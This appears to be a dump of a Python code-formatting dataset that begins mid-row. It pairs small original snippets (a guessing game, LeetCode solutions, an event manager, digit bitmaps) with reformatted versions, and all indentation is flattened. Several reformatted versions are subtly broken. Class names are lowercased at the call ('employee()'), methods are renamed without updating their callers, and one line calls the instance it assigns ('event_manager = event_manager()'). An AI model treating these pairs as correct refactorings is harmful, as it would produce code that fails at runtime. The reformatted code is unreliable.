myMemoryPoolUtilizationTable=myMemoryPoolUtilizationTable, myMemoryPoolMIBObjects=myMemoryPoolMIBObjects, myMemoryMIBConformance=myMemoryMIBConformance, myMemoryPoolLargestUtilization=myMemoryPoolLargestUtilization, myMemoryPoolUtilizationMIBGroup=myMemoryPoolUtilizationMIBGroup, myNodeMemoryPoolSize=myNodeMemoryPoolSize, myMemoryPoolWarning=myMemoryPoolWarning, myMemoryPoolUtilizationEntry=myMemoryPoolUtilizationEntry, myMemoryPoolSize=myMemoryPoolSize, myMemoryPoolCritical=myMemoryPoolCritical, myMemoryPoolFree=myMemoryPoolFree, myNodeMemoryPoolLowestUtilization=myNodeMemoryPoolLowestUtilization, myNodeMemoryPoolIndex=myNodeMemoryPoolIndex, myNodeMemoryPoolTable=myNodeMemoryPoolTable, myNodeMemoryPoolMIBGroup=myNodeMemoryPoolMIBGroup, myMemoryMIBCompliances=myMemoryMIBCompliances) |
for i in range(1,9):
print(i)
a=2
b=1
print(a,b)
#print a
| for i in range(1, 9):
print(i)
a = 2
b = 1
print(a, b) |
secret_number = 9
guess_count = 0
guess_limit = 3
while guess_count < guess_limit:
guess = int(input('GUESS: '))
guess_count += 1
if guess == secret_number:
print('YOU WON!')
break
else:
print("SORRY YOU DID NOT GUESS THE CORRECT WORD") | secret_number = 9
guess_count = 0
guess_limit = 3
while guess_count < guess_limit:
guess = int(input('GUESS: '))
guess_count += 1
if guess == secret_number:
print('YOU WON!')
break
else:
print('SORRY YOU DID NOT GUESS THE CORRECT WORD') |
class Employee:
company = "Google"
salary = 100
location = "Delhi"
@classmethod
def changeSalary(cls,sal):
cls.salary = sal
print(f"The salary of the employee is {cls.salary}")
e = Employee()
e.changeSalary(455)
print(e.salary)
Employee.salary = 500
print(Employee.salary) | class Employee:
company = 'Google'
salary = 100
location = 'Delhi'
@classmethod
def change_salary(cls, sal):
cls.salary = sal
print(f'The salary of the employee is {cls.salary}')
e = employee()
e.changeSalary(455)
print(e.salary)
Employee.salary = 500
print(Employee.salary) |
def get_children(S, root, parent):
"""returns the children from following the
green edges"""
return [n for n, e in S[root].items()
if ((not n == parent) and
(e == 'green'))]
d = get_children(
{'a':{'b':1},
'b':{'c':1},
'c':{'d':1},
'd':{'e':1}
}, 'a','b')
print(d) | def get_children(S, root, parent):
"""returns the children from following the
green edges"""
return [n for (n, e) in S[root].items() if not n == parent and e == 'green']
d = get_children({'a': {'b': 1}, 'b': {'c': 1}, 'c': {'d': 1}, 'd': {'e': 1}}, 'a', 'b')
print(d) |
# -*- coding:utf-8 -*-
##############################################################
# Created Date: Tuesday, December 29th 2020
# Contact Info: luoxiangyong01@gmail.com
# Author/Copyright: Mr. Xiangyong Luo
##############################################################
def writeTest(msg):
print(msg)
def writeTest1(msg):
print(msg) | def write_test(msg):
print(msg)
def write_test1(msg):
print(msg) |
l = [{'key': 300}, {'key': 200}, {'key': 100}]
print(l)
l.sort(key = lambda x: x['key'])
print(l)
| l = [{'key': 300}, {'key': 200}, {'key': 100}]
print(l)
l.sort(key=lambda x: x['key'])
print(l) |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
class MappingDocuments(object):
def __init__(self):
self.work_dir = None
self.download_path = None
self.ole_path = None
self.id = None
self.case_id = None
self.case_name = None
self.evdnc_id = None
self.evdnc_name = None
self.doc_id = None
self.doc_type = None
self.doc_type_sub = None
self.full_path = None
self.path_with_ext = None
self.name = None
self.ext = None
self.creation_time = None
self.last_access_time = None
self.last_written_time = None
self.original_size = None
self.sha1_hash = None
self.parent_full_path = None
self.is_fail = None
self.fail_code = None
self.exclude_user_id = None
#metadata
self.has_metadata = None
self.title = None
self.subject = None
self.author = None
self.tags = None
self.explanation = None
self.lastsavedby = None
self.lastprintedtime = None
self.createdtime = None
self.lastsavedtime = None
self.comment = None
self.revisionnumber = None
self.category = None
self.manager = None
self.company = None
self.programname = None
self.totaltime = None
self.creator = None
self.trapped = None
#content
self.has_content = None
self.content = None
self.content_size = None
self.is_damaged = None
self.has_exif = None
| class Mappingdocuments(object):
def __init__(self):
self.work_dir = None
self.download_path = None
self.ole_path = None
self.id = None
self.case_id = None
self.case_name = None
self.evdnc_id = None
self.evdnc_name = None
self.doc_id = None
self.doc_type = None
self.doc_type_sub = None
self.full_path = None
self.path_with_ext = None
self.name = None
self.ext = None
self.creation_time = None
self.last_access_time = None
self.last_written_time = None
self.original_size = None
self.sha1_hash = None
self.parent_full_path = None
self.is_fail = None
self.fail_code = None
self.exclude_user_id = None
self.has_metadata = None
self.title = None
self.subject = None
self.author = None
self.tags = None
self.explanation = None
self.lastsavedby = None
self.lastprintedtime = None
self.createdtime = None
self.lastsavedtime = None
self.comment = None
self.revisionnumber = None
self.category = None
self.manager = None
self.company = None
self.programname = None
self.totaltime = None
self.creator = None
self.trapped = None
self.has_content = None
self.content = None
self.content_size = None
self.is_damaged = None
self.has_exif = None |
num_0 = [
[1, 1, 1],
[1, 0, 1],
[1, 0, 1],
[1, 0, 1],
[1, 1, 1]
]
num_1 = [
[0, 1, 0],
[0, 1, 0],
[0, 1, 0],
[0, 1, 0],
[0, 1, 0]
]
num_2 = [
[1, 1, 1],
[0, 0, 1],
[1, 1, 1],
[1, 0, 0],
[1, 1, 1]
]
num_3 = [
[1, 1, 1],
[0, 0, 1],
[1, 1, 1],
[0, 0, 1],
[1, 1, 1]
]
num_4 = [
[1, 0, 1],
[1, 0, 1],
[1, 1, 1],
[0, 0, 1],
[0, 0, 1]
]
num_5 = [
[1, 1, 1],
[1, 0, 0],
[1, 1, 1],
[0, 0, 1],
[1, 1, 1]
]
num_6 = [
[1, 1, 1],
[1, 0, 0],
[1, 1, 1],
[1, 0, 1],
[1, 1, 1]
]
num_7 = [
[1, 1, 1],
[1, 0, 1],
[0, 0, 1],
[0, 0, 1],
[0, 0, 1]
]
num_8 = [
[1, 1, 1],
[1, 0, 1],
[1, 1, 1],
[1, 0, 1],
[1, 1, 1]
]
num_9 = [
[1, 1, 1],
[1, 0, 1],
[1, 1, 1],
[0, 0, 1],
[1, 1, 1]
]
alpha_s = [
[0, 1, 1],
[1, 0, 0],
[1, 1, 1],
[0, 0, 1],
[1, 1, 0]
]
| num_0 = [[1, 1, 1], [1, 0, 1], [1, 0, 1], [1, 0, 1], [1, 1, 1]]
num_1 = [[0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0]]
num_2 = [[1, 1, 1], [0, 0, 1], [1, 1, 1], [1, 0, 0], [1, 1, 1]]
num_3 = [[1, 1, 1], [0, 0, 1], [1, 1, 1], [0, 0, 1], [1, 1, 1]]
num_4 = [[1, 0, 1], [1, 0, 1], [1, 1, 1], [0, 0, 1], [0, 0, 1]]
num_5 = [[1, 1, 1], [1, 0, 0], [1, 1, 1], [0, 0, 1], [1, 1, 1]]
num_6 = [[1, 1, 1], [1, 0, 0], [1, 1, 1], [1, 0, 1], [1, 1, 1]]
num_7 = [[1, 1, 1], [1, 0, 1], [0, 0, 1], [0, 0, 1], [0, 0, 1]]
num_8 = [[1, 1, 1], [1, 0, 1], [1, 1, 1], [1, 0, 1], [1, 1, 1]]
num_9 = [[1, 1, 1], [1, 0, 1], [1, 1, 1], [0, 0, 1], [1, 1, 1]]
alpha_s = [[0, 1, 1], [1, 0, 0], [1, 1, 1], [0, 0, 1], [1, 1, 0]] |
class Solution(object):
def addBinary(self, a, b):
"""
:type a: str
:type b: str
:rtype: str
"""
n = max(len(a), len(b))
a = a.zfill(n)
b = b.zfill(n)
carry = 0
answer = []
for i in range(n - 1, -1, -1):
if a[i] == '1':
carry += 1
if b[i] == '1':
carry += 1
if carry % 2 == 1:
answer.append('1')
else:
answer.append('0')
carry //= 2
if carry == 1:
answer.append('1')
answer.reverse() | class Solution(object):
def add_binary(self, a, b):
"""
:type a: str
:type b: str
:rtype: str
"""
n = max(len(a), len(b))
a = a.zfill(n)
b = b.zfill(n)
carry = 0
answer = []
for i in range(n - 1, -1, -1):
if a[i] == '1':
carry += 1
if b[i] == '1':
carry += 1
if carry % 2 == 1:
answer.append('1')
else:
answer.append('0')
carry //= 2
if carry == 1:
answer.append('1')
answer.reverse() |
class Application:
def __init__(self,expaid,url,status,currentStatus,personid,oppid):
self.id = expaid
self.url=url
self.status=status
self.currentStatus=currentStatus
self.personid=personid
self.oppid=oppid
| class Application:
def __init__(self, expaid, url, status, currentStatus, personid, oppid):
self.id = expaid
self.url = url
self.status = status
self.currentStatus = currentStatus
self.personid = personid
self.oppid = oppid |
n = []
while True:
try:
i = float(input('Enter a number or Enter to finish: '))
except:
break
else:
n.append(i)
print(f'Numbers: {n}')
print(f'''Count: {len(n)}
Sum: {sum(n)}
Highest: {max(n)}
Lowest: {min(n)}
Mean: {sum(n)/len(n)}
''') | n = []
while True:
try:
i = float(input('Enter a number or Enter to finish: '))
except:
break
else:
n.append(i)
print(f'Numbers: {n}')
print(f'Count: {len(n)}\nSum: {sum(n)}\nHighest: {max(n)}\nLowest: {min(n)}\nMean: {sum(n) / len(n)}\n') |
# Description: Color unit cell edges black. The settings for controlling the unit cell color are hard to find.
# Source: placeHolder
"""
cmd.do('# show the unit cell;')
cmd.do('show cell;')
cmd.do('color black, ${1:1lw9};')
cmd.do('# color by atom with carbons colored green,')
cmd.do('util.${2:cbag};')
cmd.do('set cgo_line_width, 2.5;')
cmd.do('png ${3:testCell3}.png, ${4:1600},${5:1600};${6:600};${7:0}')
"""
cmd.do('# show the unit cell;')
cmd.do('show cell;')
cmd.do('color black, 1lw9;')
cmd.do('# color by atom with carbons colored green,')
cmd.do('util.cbag;')
cmd.do('set cgo_line_width, 2.5;')
cmd.do('png testCell3.png, 1600,1600;600;0')
| """
cmd.do('# show the unit cell;')
cmd.do('show cell;')
cmd.do('color black, ${1:1lw9};')
cmd.do('# color by atom with carbons colored green,')
cmd.do('util.${2:cbag};')
cmd.do('set cgo_line_width, 2.5;')
cmd.do('png ${3:testCell3}.png, ${4:1600},${5:1600};${6:600};${7:0}')
"""
cmd.do('# show the unit cell;')
cmd.do('show cell;')
cmd.do('color black, 1lw9;')
cmd.do('# color by atom with carbons colored green,')
cmd.do('util.cbag;')
cmd.do('set cgo_line_width, 2.5;')
cmd.do('png testCell3.png, 1600,1600;600;0') |
value = 1
end = 10
while (value < end):
print(value)
value = value + 1
if (value == 5):
break | value = 1
end = 10
while value < end:
print(value)
value = value + 1
if value == 5:
break |
"""
>>> from mlbase.event import event_manager
>>> @event_manager.on("A")
... def _():
... print('Hello')
>>> @event_manager.on("B")
... def _():
... print('World')
>>> event_manager.emit("A")
Hello
>>> event_manager.emit("B")
World
"""
class EventManager:
def __init__(self):
self._event_dict = {}
self._finished = False
def emit(self, key, *args, **kwargs):
return self._event_dict[key](*args, **kwargs)
def on(self, key):
def _exec(func):
self._event_dict[key] = func
return _exec
event_manager = EventManager()
| """
>>> from mlbase.event import event_manager
>>> @event_manager.on("A")
... def _():
... print('Hello')
>>> @event_manager.on("B")
... def _():
... print('World')
>>> event_manager.emit("A")
Hello
>>> event_manager.emit("B")
World
"""
class Eventmanager:
def __init__(self):
self._event_dict = {}
self._finished = False
def emit(self, key, *args, **kwargs):
return self._event_dict[key](*args, **kwargs)
def on(self, key):
def _exec(func):
self._event_dict[key] = func
return _exec
event_manager = event_manager() |
pala = ('APRENDER',
'PROGRAMAR',
'LINGUAGEM',
'PYTHON',
'CURSO',
'GRATIS',
'ESTUDAR',
'PRATICAR',
'TRABALHAR',
'MERCADO',
'PROGRAMADOR',
'FUTURO')
for p in pala:
print(f'\nNa palavra {p} temos', end=' ')
for letra in p:
if letra.lower() in 'aeiou':
print(f'{letra}', end=' ') | pala = ('APRENDER', 'PROGRAMAR', 'LINGUAGEM', 'PYTHON', 'CURSO', 'GRATIS', 'ESTUDAR', 'PRATICAR', 'TRABALHAR', 'MERCADO', 'PROGRAMADOR', 'FUTURO')
for p in pala:
print(f'\nNa palavra {p} temos', end=' ')
for letra in p:
if letra.lower() in 'aeiou':
print(f'{letra}', end=' ') |
class Solution:
def maxProfit(self, prices: List[int]) -> int:
if not prices:
return 0
profit = 0
buy = 9999999999999
for i,j in enumerate (prices):
if j<buy:
buy = j
else:
if j>buy:
profit = max(profit, j-buy)
return profit
| class Solution:
def max_profit(self, prices: List[int]) -> int:
if not prices:
return 0
profit = 0
buy = 9999999999999
for (i, j) in enumerate(prices):
if j < buy:
buy = j
elif j > buy:
profit = max(profit, j - buy)
return profit |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.